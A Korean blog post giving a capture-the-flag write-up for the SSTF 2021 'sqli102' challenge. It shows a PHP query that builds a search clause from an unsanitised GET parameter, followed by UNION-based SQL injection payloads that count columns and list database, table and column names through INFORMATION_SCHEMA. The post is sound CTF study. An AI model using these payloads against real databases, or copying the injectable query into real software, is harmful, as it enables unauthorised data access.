ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [sstf2021] sqli102
    hacking 2021. 8. 23. 22:05

    sqli102

    UNION을 이용하여 sqli 공격을 진행해보자

     

    UNION을 사용하기 위한 조건으로 두 쿼리문의 컬럼 갯수(이 문제에선 books table의 컬럼 갯수)가 같아야한다

    그것을 먼저 찾아보자

     

    일단 쿼리문은

    select * from books where title like '%".{$_GET['searchkey']}."'

     

    %' union select 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'e' #

     

    이로서 컬럼 갯수는 8개 임을 알 수 있고

    Title b 두번째

    Author c 세번째

    Price e 여덟번째

    값을 뿌린다는 것을 알 수 있다

     

    DB 명을 알아내보자

    %' union select 'a', SCHEMA_NAME, 'c', 'd', 'e', 'f', 'g', 'e' from INFORMATION_SCHEMA.SCHEMATA #

    sqli102

     

    table 명을 알아내보자

    %' union select 'a', TABLE_NAME, 'c', 'd', 'e', 'f', 'g', 'e' from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='sqli102' #

    findme

     

    column 명을 알아내보자

    %' union select 'a', COLUMN_NAME, 'c', 'd', 'e', 'f', 'g', 'e' from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='findme' #

     

    column명에 flag 값이 적혀있다!

     

     

    'hacking' 카테고리의 다른 글

    [LOB] goblin  (0) 2021.08.25
    [LOB] cobolt  (0) 2021.08.24
    [sstf2021] sqli101  (0) 2021.08.22
    [sstf2021] bof102  (0) 2021.08.21
    [sstf2021] bof101  (0) 2021.08.20

    댓글

Designed by Tistory.